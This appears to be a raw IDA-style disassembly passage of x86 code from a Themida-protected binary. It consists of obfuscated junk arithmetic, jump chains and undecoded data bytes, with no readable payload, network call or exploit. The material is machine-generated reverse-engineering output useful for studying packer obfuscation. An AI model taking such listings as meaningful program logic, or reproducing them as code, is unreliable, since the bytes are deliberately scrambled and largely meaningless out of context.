loc_54A634:				; CODE XREF: Themida_:0054C907j
		push	edi
		mov	edi, 28B747D9h
		jmp	loc_54EDCD
; ---------------------------------------------------------------------------
		db 0BAh
		dd 6C4842A1h, 8105EAC1h, 6706D9F2h, 481525Dh, 376BAF24h
		dd 241C8B21h, 0E904C483h, 4D63h, 0E930FF5Ch, 0FFFFC88Ch
		dd 2414895Ch, 0FFC883E9h, 7EBA52FFh, 4A36A661h,	75E6CA81h
		dd 0EA816E2Dh, 1FE16ED4h, 0FFF1C3E9h, 5DE901FFh, 0E904C183h
		dd 601Dh, 0B1E9FD00h, 8B000072h, 1662424h, 0E99C2404h
		dd 0FFFFE519h, 8002C483h, 0D300F8C2h, 8124148Bh, 4C4h
		dd 0C0B60F00h, 6887048Dh, 5515h, 0E9240489h, 0FFFFC828h
		dd 24048B66h, 1CD668h, 243C8900h, 799668h, 24248900h, 2DBA68h
		dd 241C8900h, 4BBh, 245C0100h, 0E95F5B04h, 5043h, 2BDh
		dd 8BEE0100h, 5456242Ch, 4C6815Eh, 57000000h, 0B46565BFh
		dd 6A88E928h, 0B9510000h, 6F935BA8h, 0D7B85041h, 213F486Ah
		dd 0FFE958C1h, 80FFFFD1h, 0F8289BEFh, 0E9C8285Bh, 6499h
		dd 2EE95259h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A73F:				; CODE XREF: Themida_:00548B73j
		mov	edx, 2F3E6AF5h
		push	ebp
		mov	ebp, 636F2FB5h
		shl	ebp, 1
		neg	ebp
		and	ebp, 2B880AAFh
		not	ebp
		dec	ebp
		sub	ebp, 9FA5C307h
		sub	edx, ebp
		pop	ebp
		sub	edx, edi
		add	edx, 375A3C71h
		jmp	loc_549C52
; ---------------------------------------------------------------------------
		db 66h,	21h, 4
		dd 7DE99C24h, 58FFFFC7h, 4DA6E9h, 24048F00h, 2404FE5Ch
		dd 0C76AE99Ch, 0C380FFFFh, 0FFDE8860h, 0E95B2434h, 6BE9h
		dd 2CBBh, 8BDA8900h, 0C481241Ch, 4, 370E6850h, 90E95860h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A7B3:				; CODE XREF: Themida_:005494CEj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_547E16
; ---------------------------------------------------------------------------
		dw 565Ah
		dd 0B964A9BEh, 35B8500Bh, 2D6FB574h, 371B0447h,	0A55C002Dh
		dd 4E8C167h, 0C754762Dh, 9235404Eh, 0E94A0167h,	0FC8h
		dd 688FC681h, 21E97EFDh
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A7F7:				; CODE XREF: Themida_:0055200Bj
		add	[ecx], ebx
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4

loc_54A800:				; CODE XREF: Themida_:00547873j
		push	7398h
		jmp	loc_551F65
; ---------------------------------------------------------------------------
aLwveOV4s@	db '¿lw‚e-o',1Bh,'V4é:@',0
		db 0
; ---------------------------------------------------------------------------

loc_54A819:				; CODE XREF: Themida_:00552A20j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54FFFC
; ---------------------------------------------------------------------------

loc_54A82E:				; CODE XREF: Themida_:0054BD05j
		xor	esi, [esp]
		pop	esp
		add	esp, 4
		sub	eax, 659A73E1h
		push	edx
		push	1D2Bh
		mov	[esp], ecx
		mov	ecx, 17FB18EDh
		mov	edx, ecx
		jmp	loc_55189D
; ---------------------------------------------------------------------------
		db 0ADh
		dd 299E951h, 0EE800000h, 0F7885311h, 34D4E9h, 5BB25200h
		dd 0EA80D2F6h, 5AD58887h, 5966E828h, 0FFEF22E9h, 0C67AE9FFh
		dd 0C481FFFFh, 4, 4BF5753h, 89000000h, 243C8BFBh, 0FFF7E5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A891:				; CODE XREF: Themida_:00549F97j
		jmp	loc_546EF4
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 52DEB551h, 0B3537FB6h, 35F380C1h,	805BDE08h, 0DEF6D8F6h
		dd 35C680h, 74DE9F5h, 33FF0000h, 3A243481h, 8B48D415h
		dd 0C4812404h, 4, 2CEABA52h, 5E9426Ch, 28000047h, 0EB805AF3h
		dd 0E32E914h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A8E2:				; CODE XREF: Themida_:0054776Fj
		mov	[esp], esi
		push	326208F5h
		jmp	loc_54942E
; ---------------------------------------------------------------------------
aIS2w		db ')Ú[‰×é2w',0
		dd 75E95B00h, 0F7000055h, 0E95A2414h, 0FFFFFBCEh
; ---------------------------------------------------------------------------

loc_54A908:				; CODE XREF: Themida_:005489D1j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54BB16
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 35h
aSJ		db ',Þ¾é-j',0
		align 4
		dd 24048B54h, 3712E9h, 0D830AC00h, 42E95266h, 8BFFFFD8h
		dd 68662424h, 29660000h, 5966240Ch, 8AF18166h, 0C82966EBh
		dd 6DBFE959h, 0C0830000h, 24048702h, 17D3E9h, 80C32800h
		dd 7DE949EBh
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A95F:				; CODE XREF: Themida_:0054F13Bj
		push	1DEBh
		jmp	loc_550C8F
; ---------------------------------------------------------------------------

loc_54A969:				; CODE XREF: Themida_:00549C8Bj
		mov	edi, 3CB73ED1h
		jmp	loc_551111
; ---------------------------------------------------------------------------

loc_54A973:				; CODE XREF: Themida_:00547AA6j
		pop	edx
		jmp	loc_54CB0A
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48358h, 7B2DEA81h,	0F2015E53h, 7B2DC281h, 815E5E53h
		dd 2C2h, 24148700h, 243CD35Ch, 0C552E99Ch, 2C8BFFFFh, 4C48324h
		dd 4BB53h, 0EC810000h, 4, 0E9243489h, 2F90h, 7436E781h
		dd 5DE90C99h, 1FFFFE3h,	41C781DFh, 81377269h, 541D39C7h
		dd 0D4C7E972h, 0C481FFFFh, 4, 0B60FC330h, 0F0F4E9C0h, 0EC83FFFFh
		dd 240C8904h, 2A88FD88h, 53240C8Bh, 0C381E389h,	4, 4C381h
		dd 1C870000h, 1C8B5C24h, 3307E924h, 0D0010000h,	5839BD55h
		dd 0E8010ECBh, 95685A5Dh, 89000054h, 3DE9240Ch,	80000039h
		dd 0B6E9F3EFh
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AA33:				; CODE XREF: Themida_:0054816Cj
		xor	ebx, 9D910D85h
		xor	ecx, ebx
		pop	ebx
		jmp	loc_54F1B0
; ---------------------------------------------------------------------------

loc_54AA41:				; CODE XREF: Themida_:0054ED44j
		pop	esp
		push	esi
		mov	esi, 70756AAFh
		push	ebp
		mov	ebp, esp
		jmp	loc_54D657
; ---------------------------------------------------------------------------

loc_54AA50:				; CODE XREF: Themida_:0054EDC1j
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_551403
; ---------------------------------------------------------------------------

loc_54AA5E:				; CODE XREF: Themida_:00548DA9j
		shl	ecx, 7
		add	ecx, 0E64F999Ch
		push	edx
		push	esi
		mov	esi, 632B74D0h
		neg	esi
		not	esi
		xor	esi, 10DE0217h
		jmp	loc_550E3F
; ---------------------------------------------------------------------------
		db 68h,	41h, 6Eh
		dd 0A5E90000h, 0B8000031h, 328E3860h, 8E385C2Dh, 58C28932h
		dd 23B46855h, 0C4E96F95h, 6600005Dh, 5002B60Fh,	405E089h
		dd 57000000h, 4265B951h, 0CF894DF0h, 0FFE3D1E9h, 240489FFh
		dd 242C8156h, 7A185C35h, 0EEE95658h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AACB:				; CODE XREF: Themida_:0054CAEEj
		add	esi, 4
		push	eax
		mov	eax, 4
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54EF26
; ---------------------------------------------------------------------------
aXbcB_Sy	db 'XæÕb.',1Bh,'éy',0
		db 2 dup(0), 68h
		dd 1D11h, 0BF243C89h, 23DF2631h, 685FF989h, 48A6h, 0BD242C89h
		dd 59813CF1h, 0FFF2CCE9h, 632D68FFh, 4890000h, 7EC1B824h
		dd 0C72971AAh, 14E95E58h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AB27:				; CODE XREF: Themida_:00551F21j
		add	edx, 457325D1h
		mov	esi, [esp]
		jmp	loc_5498E4
; ---------------------------------------------------------------------------
		db 31h,	0FAh, 5Fh
		dd 8B284805h, 57D00106h, 8B2848BFh, 0E9F82906h,	6D6Fh
		dd 56664366h, 5E45BE66h, 4561E9h, 0C8B6600h, 0E7895724h
		dd 0E904EC83h, 0FFFFF3C1h, 5CA4F681h, 842D7316h, 2D6B5329h
		dd 74AC264Dh, 4D05F001h, 5574AC26h, 0B9228ABDh,	0FAC58124h
		dd 1469A06h, 685E5DE8h,	30E4h, 6B3FE9h,	5FFB0100h, 0F57EBE56h
		dd 0F3293D8Ch, 22EA815Eh, 0E94C0137h, 0FFFFEB29h, 70E903B1h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54ABB7:				; CODE XREF: Themida_:00550A22j
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 6519731Fh
		or	ebx, 81D0818h
		jmp	loc_54BF43
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFFCAF8h, 0B8240489h, 147A04E5h, 0FFFFBB53h, 0D7E9FFFFh
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54ABEB:				; CODE XREF: Themida_:005519F7j
		push	small 19AFh
		mov	[esp], dx
		jmp	loc_552A71
; ---------------------------------------------------------------------------

loc_54ABF8:				; CODE XREF: Themida_:0054D54Fj
		sub	esi, edi
		pop	edi
		and	esi, 17837A5Dh
		not	esi
		not	esi
		jmp	loc_54EB97
; ---------------------------------------------------------------------------

loc_54AC0A:				; CODE XREF: Themida_:00547485j
		mov	eax, 791C26EAh
		add	edi, eax
		pop	eax
		sub	edi, 465754D1h
		shr	edi, 2
		xor	edi, 4C440FDCh
		jmp	loc_54EC4C
; ---------------------------------------------------------------------------

loc_54AC26:				; CODE XREF: Themida_:0054AE07j
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_547D92
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 7194E924h,	77FF0000h, 59669D1Ch, 241CD366h
		dd 0C2A2E99Ch, 0D0F7FFFFh, 0E525D8F7h, 0E9756C02h, 0FFFFF64Fh
		dd 81E78957h, 4C7h, 0D165E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AC6E:				; CODE XREF: Themida_:0055101Cj
		add	edx, 9AE298BDh
		jmp	loc_549B02
; ---------------------------------------------------------------------------
		db 88h,	0EFh, 8Bh
		dd 0C483240Ch, 66F80004h, 4AC6E95Bh, 8B660000h,	8E92404h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AC93:				; CODE XREF: Themida_:0054C4F8j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_54FA54
; ---------------------------------------------------------------------------
		db 31h,	0D7h, 5Ah
		dd 55FF801h, 4,	0FFD259E9h, 58C301FFh, 8704EB83h, 248B241Ch
		dd 24148924h, 0D6ACE954h, 0E389FFFFh, 4C381h, 0C3810000h
		dd 4, 2474FF53h, 48F5B04h, 5F095C24h, 2434FF1Ch
		db 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_546EF4
; ---------------------------------------------------------------------------

loc_54ACFD:				; CODE XREF: Themida_:0054ADD4j
		pop	edx
		jmp	loc_54F2D5
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C2404h, 1B34h, 5BDF295Ah, 58B5BE56h, 0E946363Ah
		dd 3E66h, 3C8BF989h, 4C48324h, 6CC5E181h, 0C981337Eh, 0F61539Eh
		dd 3EBEE9h, 4BF00h, 0FD010000h,	0FFD413E9h, 9BE945FFh
		dd 0C1000047h, 0D0F708E0h, 2D03E0C1h, 405E6268h, 0E958C201h
		dd 0FFFFC53Ch, 405E089h, 83000000h, 48704E8h, 0C895C24h
		dd 34FF5424h, 0C4815924h, 4, 72F3E9h, 4EE8100h,	56000000h
		dd 42474FFh, 24048F5Eh,	2404895Ch, 30FCE9h, 4F80000h, 60E95BFAh
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54AD9F:				; CODE XREF: Themida_:0054A369j
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5521BE
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 3104C483h, 0DEA9E9C8h, 0E6BBFFFFh, 571C224Ah, 17ABE9h
		db 0
; ---------------------------------------------------------------------------

loc_54ADD1:				; CODE XREF: Themida_:005471DDj
		mov	esi, edi
		pop	edi
		jmp	loc_54ACFD
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 0A3h
		dd 874BBB4Fh, 57D3F7DFh, 505B5F53h, 0AFFC78B8h,	58C731A0h
		dd 10314D2Dh, 5F82964h,	6410314Dh, 0E9D8295Fh, 0FFFFC916h
; ---------------------------------------------------------------------------

loc_54AE04:				; CODE XREF: Themida_:0054D1AFj
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_54AC26
; ---------------------------------------------------------------------------

loc_54AE0C:				; CODE XREF: Themida_:005497DDj
		add	bl, dh
		sub	bl, 9Fh
		add	bl, 2Ah
		jmp	loc_551F35
; ---------------------------------------------------------------------------
aQs@		db 'QéÔ@',0
		dw 0BE00h
		dd 4B737947h, 1C9BCE81h, 0BB5361E3h, 17894CC3h,	7858CB81h
		dd 0E3814518h, 605D705Eh, 5355D3F7h, 64051668h,	0EBC15B2Eh
		dd 1BC38106h, 893DB6E4h, 0EB295BDDh, 0E9242C8Bh, 69C9h
; ---------------------------------------------------------------------------

loc_54AE5C:				; CODE XREF: Themida_:005529F3j
		sub	edi, eax
		mov	eax, [esp]
		jmp	loc_5506DF
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 1E711AC0h, 0EE81DE01h, 1E711AC0h, 0FFC5ABE9h, 243C87FFh
		dd 6624248Bh, 0E9240489h, 608h,	8B24048Fh, 0F662424h, 9C2404B3h
		dd 0FFC05BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54AE99:				; CODE XREF: Themida_:0054867Cj
		sub	ch, 0C3h
		jmp	loc_548023
; ---------------------------------------------------------------------------

loc_54AEA1:				; CODE XREF: Themida_:00548FEDj
		mov	edi, edx
		pop	edx
		mov	ebx, edi
		jmp	loc_552D1A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 241C8700h, 23DE685Ch, 3C890000h, 505F5424h, 4FDF6856h
		dd 815E340Eh, 0FC7D4BF6h, 5EF08976h, 0F232902Dh, 0E660E942h
		dd 0C481FFFFh, 4, 2404FF53h, 0EB81435Bh, 75182DC0h, 268FC381h
		dd 0D9897CA9h, 0FFFEC0E9h, 5E959FFh, 1000024h, 1947E9DFh
		dd 0E9210000h, 31A8E9h,	2B900h,	0CE010000h, 24343359h
		dd 33243431h, 248B2434h, 2404D224h, 0BFCAE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AF2A:				; CODE XREF: Themida_:00551690j
		mov	ecx, [esp]
		jmp	loc_54ED0A
; ---------------------------------------------------------------------------
		dw 15Dh
		dd 0EC832404h, 24148904h, 3542BF57h, 0FA893051h, 0FFCE2EE9h
		dd 2434FFFFh, 8124048Bh, 4C4h, 4EC8300h, 89243C89h, 4C781E7h
		dd 51000000h, 0FFF5DAE9h, 148966FFh, 0E83EE924h, 8745FFFFh
		dd 0E2814AEAh, 540C406Ah, 28685642h, 0E917BF22h, 1491h
		dd 0E9EE885Bh, 2398h
; ---------------------------------------------------------------------------

loc_54AF90:				; CODE XREF: Themida_:0054DE5Fj
		mov	ebp, 774D5D72h
		mov	edi, 0A280BEB8h
		add	edi, ebp
		pop	ebp
		sub	edi, 472C634Fh
		and	edi, 67817E1Fh
		jmp	loc_54C43C
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 4C581h, 2C870000h, 0C5815C24h, 4,	5002C583h, 79E95854h
		dd 0B8000000h, 7BBB484Dh, 0DC16F92Dh, 58C1216Ah, 0A1EF181h
		dd 0E9811BF2h, 7E1D48AAh, 34FFCA29h, 240C8B24h,	4C481h
		dd 7CE90000h, 80FFFFEFh, 53519BC5h, 24E9A9B7h, 5AFFFFFAh
		dd 806EC580h, 0EB28CDF5h, 0B2525159h, 5AD58827h, 0E580C5FEh
		dd 5E5C059h, 45C580h, 0EB8059EBh, 80C32896h, 0EB8096C3h
		dd 79E95145h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B037:				; CODE XREF: Themida_:0055106Fj
		mov	esi, edx
		pop	edx
		pop	ebp
		jmp	loc_5525F2
; ---------------------------------------------------------------------------
		dd 0E904C183h, 535Ah, 405h, 4E88300h, 4B73E9h, 1F42B900h
		dd 0C8212D50h, 0E9FCE959h, 34FFFFFFh, 3826E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B06A:				; CODE XREF: Themida_:00547B25j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	54EBh
		mov	[esp], esp
		push	ecx
		jmp	loc_54F60A
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 2C18E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B08A:				; CODE XREF: Themida_:00548442j
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5509DE
; ---------------------------------------------------------------------------

loc_54B098:				; CODE XREF: Themida_:0055180Aj
		push	small 1667h
		mov	[esp], cx
		mov	cl, 0EDh
		sub	al, cl
		mov	cx, [esp]
		add	esp, 2
		add	al, 28h
		jmp	loc_54B2D9
; ---------------------------------------------------------------------------
aF1SV		db 'f1Ùé',0Dh,'v',0
		align 2
		dw 0EC81h
		dd 4, 68240489h, 59894630h, 8324048Bh, 0B73504C4h, 0C175AB53h
		dd 0D3E905E0h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B0DB:				; CODE XREF: Themida_:00547067j
		or	eax, eax
		jmp	loc_5493FF
; ---------------------------------------------------------------------------
		dw 0B8B1h
		dd 805FB151h, 0E9C066C9h, 82F18004h, 0C180C9FEh, 59CB00EEh
		dd 0DE9CB00h, 81000018h, 4ECh, 241C8900h, 45A4E9h, 2434FF00h
		dd 6AABE95Eh, 0C8010000h, 0C95DE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B11E:				; CODE XREF: Themida_:00548357j
		jmp	loc_546EF4
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8904ECh, 58FBF24h,	0F8011ED4h, 6169E95Fh, 0EB800000h
		dd 83C300F7h, 148904ECh, 0F091E924h, 0ECBEFFFFh, 0E92E714Bh
		dd 868h
; ---------------------------------------------------------------------------

loc_54B150:				; CODE XREF: Themida_:0054ECFDj
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_54D88A
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0E556D369h, 842C681h, 0D6292EF2h, 5D0E9h, 52E78900h
		dd 0C281E289h, 4, 0E904EA83h, 0FFFFC71Bh, 6624248Bh, 9C2404FFh
		dd 0FFECE4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B1A1:				; CODE XREF: Themida_:0054C568j
		add	esp, 4
		jmp	loc_55261A
; ---------------------------------------------------------------------------

loc_54B1A9:				; CODE XREF: Themida_:0054EA8Ej
		mov	[esp], ebx
		jmp	loc_54F883
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 89530000h, 4C381E3h,	81000000h, 4C3h, 241C8700h
		dd 2C2815Ch, 0E9000000h, 690Ah,	240C8B66h, 2C1B6852h, 8F540000h
		dd 4832404h, 0F6E90424h, 8300000Ah, 148704C2h, 0EC815C24h
		dd 4, 45C7E9h, 58E53000h, 0FFFDF2E9h, 24048BFFh, 46C968h
		dd 243C8900h, 0FFC33BE9h, 0C58851FFh, 0E888D5F6h, 0E9140C59h
		dd 45DEh, 0FF2434FFh, 0C8B2434h, 4C48324h, 4C481h, 89510000h
		dd 4C181E1h, 0E9000000h, 0FFFFFE72h
; ---------------------------------------------------------------------------

loc_54B248:				; CODE XREF: Themida_:0054C02Cj
		not	cl
		jmp	loc_5492FC
; ---------------------------------------------------------------------------

loc_54B24F:				; CODE XREF: Themida_:0054CDDCj
		pop	ebp
		add	edi, 5FAB7785h
		shr	edi, 1
		inc	edi
		add	edi, 0BA0156A4h
		mov	edx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_547F30
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4C2h, 24148700h, 0FFF3D7E9h, 0DBF758FFh
		dd 734EEB81h, 0D801AFF7h, 48D0F75Bh, 5B15E9h, 81F50100h
		dd 0AA1661C5h, 5FED8116h, 5E2E9557h, 31242C33h,	0E0E9242Ch
		dd 0FFFFFFF1h, 5E042474h, 5C24048Fh, 786BE9h, 24148900h
		dd 88A3B753h, 0C6865BFEh, 0C686D0F6h, 0FFBD0DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B2D9:				; CODE XREF: Themida_:0054B0ADj
		add	al, dh
		sub	al, 28h
		jmp	loc_547345
; ---------------------------------------------------------------------------
		dw 0E946h
		dd 0FFFFDF46h
; ---------------------------------------------------------------------------

loc_54B2E8:				; CODE XREF: Themida_:0054E9A8j
		pop	ecx
		add	ecx, edi
		push	edx
		mov	edx, 0
		add	edx, ecx
		jmp	loc_54F8F8
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FFD473E9h, 0FC909FFh, 59CC84h, 4EC8100h
		dd 89000000h, 56682424h, 89000018h, 0B951241Ch,	19530CF2h
		dd 4EE18149h, 812A2635h, 4A1458C1h, 81D9F713h, 3C19CDE1h
		dd 44E9810Dh, 89043001h, 4F29E9CBh, 0D7310000h,	8124148Bh
		dd 4C4h, 2C815700h, 0F578724h, 0C1815955h, 550F5787h, 59CE295Fh
		dd 4D4DE9h, 0F7D98700h,	8BC181D1h, 0E9705B6Ah, 31D0h, 0D422B835h
		dd 5E8C167h, 4835D8F7h,	31D1E80Ah, 0D9F758C1h, 24146849h
		dd 7BE90000h, 1FFFFCFh,	4DEA81DAh, 567CE20Ah, 7B73C2BEh
		dd 5EF22956h, 83241C8Bh, 5AE904C4h, 1000056h, 49EA81C2h
		dd 0E97CB63Ch, 5AA1h, 0E9028F64h, 0FFFFBB30h, 42474FFh
		dd 24048F5Dh, 61EAE9h, 59CF0800h, 0C0B4C780h, 0F78008E7h
		dd 57C7808Dh, 88F98851h, 1C8B59CEh, 4C48324h, 9E9F030h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B3F3:				; CODE XREF: Themida_:005495B9j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		and	eax, ebp
		jmp	loc_54E0F2
; ---------------------------------------------------------------------------
		db 51h,	0B1h, 8Eh
		dd 8001E980h, 0D186FEC9h, 0D186CAFEh, 0FECBC980h, 0BEBBE9C1h
		dd 0C381FFFFh, 0F9E06DD2h, 15BD801h, 2A1EE9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B446:				; CODE XREF: Themida_:005479C8j
		xor	edi, 265C6457h
		jmp	loc_54BD19
; ---------------------------------------------------------------------------
aISe		db '‰Ñé¥',27h,0
		align 4
		dd 9D1C77FFh, 1CD25966h, 8DE99C24h, 89FFFFBAh, 0C7BB53E7h
		dd 810E7234h, 0F269A7CBh, 2CE38134h, 0C10BB437h, 0F38104E3h
		dd 8550191Ah, 0C0C38143h, 0E944315Bh, 28E3h, 0C230D7B0h
		dd 168CE9h, 24143300h, 0E9241431h, 3A0Eh
; ---------------------------------------------------------------------------

loc_54B4A4:				; CODE XREF: Themida_:00549FD5j
		push	ebx
		mov	ebx, 28811A9Dh
		mov	eax, 7AAC511Dh
		sub	eax, ebx
		mov	ebx, [esp]
		jmp	loc_54C0C6
; ---------------------------------------------------------------------------

loc_54B4B9:				; CODE XREF: Themida_:0054E903j
		pop	ebp
		add	ebp, ecx
		pop	ecx
		push	edi
		mov	edi, 3C2769DDh
		sub	ebx, edi
		pop	edi
		sub	ebx, ebp
		add	ebx, 3C2769DDh
		mov	ebp, [esp]
		jmp	loc_54D958
; ---------------------------------------------------------------------------
		dw 575Fh
		dd 0AC0B63BFh, 6B10E965h, 0C6810000h, 4, 0E904C683h, 15E6h
		dd 2EC81h, 89660000h, 7EE92414h, 0FFFFFFDFh, 0C8B2434h
		dd 49146824h, 2C890000h, 6517E924h, 0BCB90000h,	29046678h
		dd 2C8B59CEh, 4C48324h,	0C681C601h, 30F87CB4h, 382268h
		dd 242C8900h, 824D05BDh, 0ED43E945h, 0FCB9FFFFh, 0E9000003h
		dd 318Fh, 9D41F781h, 0A02D409Fh, 572C419h, 7A3211BDh, 0BD2DF829h
		dd 0E97A3211h, 30AEh
; ---------------------------------------------------------------------------

loc_54B560:				; CODE XREF: Themida_:005499F0j
		pop	dword ptr [edi+20h]
		pop	eax
		push	edx
		mov	edx, 3E552A09h
		sub	[edi+20h], edx
		jmp	loc_54EA14
; ---------------------------------------------------------------------------

loc_54B572:				; CODE XREF: Themida_:0054FC0Bj
		mov	eax, esp
		jmp	loc_54B728
; ---------------------------------------------------------------------------

loc_54B579:				; CODE XREF: Themida_:005528ACj
		sub	ebp, 12145575h
		sub	ebp, edi
		push	esi
		mov	esi, 452C230Dh
		sub	esi, 3317CD98h
		add	ebp, esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_54F75B
; ---------------------------------------------------------------------------
		dd 42474FFh, 0E9241C8Bh, 3CC7h,	815AD631h, 0B03C54EAh
		dd 0E9F2015Ch, 6FADh, 0D6C78147h, 3113A6F7h, 0F5295FFEh
		dd 6824348Bh, 946h, 89240489h, 405E0h, 0C0830000h, 0DDE9E904h
		dd 0EF81FFFFh, 4, 0FFCDA3E9h, 515A54FFh, 402DE9h, 63F28100h
		dd 5867CD2Fh, 815AD331h, 437DBCC6h, 0E9DE015Fh,	72F9h
; ---------------------------------------------------------------------------

loc_54B604:				; CODE XREF: Themida_:0054E8BBj
		push	edx
		mov	edx, 3C1E005Ch
		or	ebp, edx
		pop	edx
		and	ebp, 220B62h
		sub	ebp, 0AB31E994h
		sub	ebx, 3A8C0A48h
		add	ebx, ebp
		add	ebx, 3A8C0A48h
		jmp	loc_54F93A
; ---------------------------------------------------------------------------

loc_54B62C:				; CODE XREF: Themida_:0054EA04j
		mov	[esp], ecx
		push	eax
		mov	ah, dl
		mov	cl, ah
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	dh, cl
		mov	[edi+eax*4], dh
		pop	edx
		jmp	loc_54F975
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9242C89h, 0FFFFD77Ah, 5903E957h, 4BD0000h,	1000000h
		dd 0C875DE9h, 24248B24h, 582434FFh, 5DACE957h, 6B680000h
		dd 89000013h, 42BE2434h, 836CA66Ah, 0DEF701EEh,	592EE9h
		dd 24148900h, 61E99C50h, 0B1FFFFB8h, 59C888A7h,	5258C628h
		dd 0F00079B6h, 0CDB2E95Ah, 4BAFFFFh, 1000000h, 0C3835AD3h
		dd 241C8704h, 1EC0E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B6B9:				; CODE XREF: Themida_:0054CB66j
		pop	esp
		push	ebp
		jmp	loc_54E118
; ---------------------------------------------------------------------------

loc_54B6C0:				; CODE XREF: Themida_:0054BBE5j
		or	ebp, 113C7257h
		push	edx
		mov	edx, 44504BD9h
		xor	ebp, edx
		pop	edx
		add	edi, ebp
		jmp	loc_54EDC6
; ---------------------------------------------------------------------------

loc_54B6D6:				; CODE XREF: Themida_:00550973j
		not	dword ptr [esp]
		mov	eax, [esp]
		push	41ECh
		mov	[esp], esi
		jmp	loc_550492
; ---------------------------------------------------------------------------

loc_54B6E9:				; CODE XREF: Themida_:0054FB42j
		mov	esi, 4
		jmp	loc_54820C
; ---------------------------------------------------------------------------

loc_54B6F3:				; CODE XREF: Themida_:005509E4j
		mov	esp, [esp]
		jmp	loc_54C412
; ---------------------------------------------------------------------------

loc_54B6FB:				; CODE XREF: Themida_:0054C0F7j
		mov	[esp], eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 13C263FBh
		add	ecx, 1
		and	ecx, 3F3F2F39h
		jmp	loc_548316
; ---------------------------------------------------------------------------
aPAYs_		db '(ÃP´Å€Äyé~_',0
		db 0
; ---------------------------------------------------------------------------

loc_54B721:				; CODE XREF: Themida_:005499B4j
		neg	ebp
		jmp	loc_548EA3
; ---------------------------------------------------------------------------

loc_54B728:				; CODE XREF: Themida_:0054B574j
		add	eax, 4
		jmp	loc_552A51
; ---------------------------------------------------------------------------
aHsmi		db '·Hémi',0
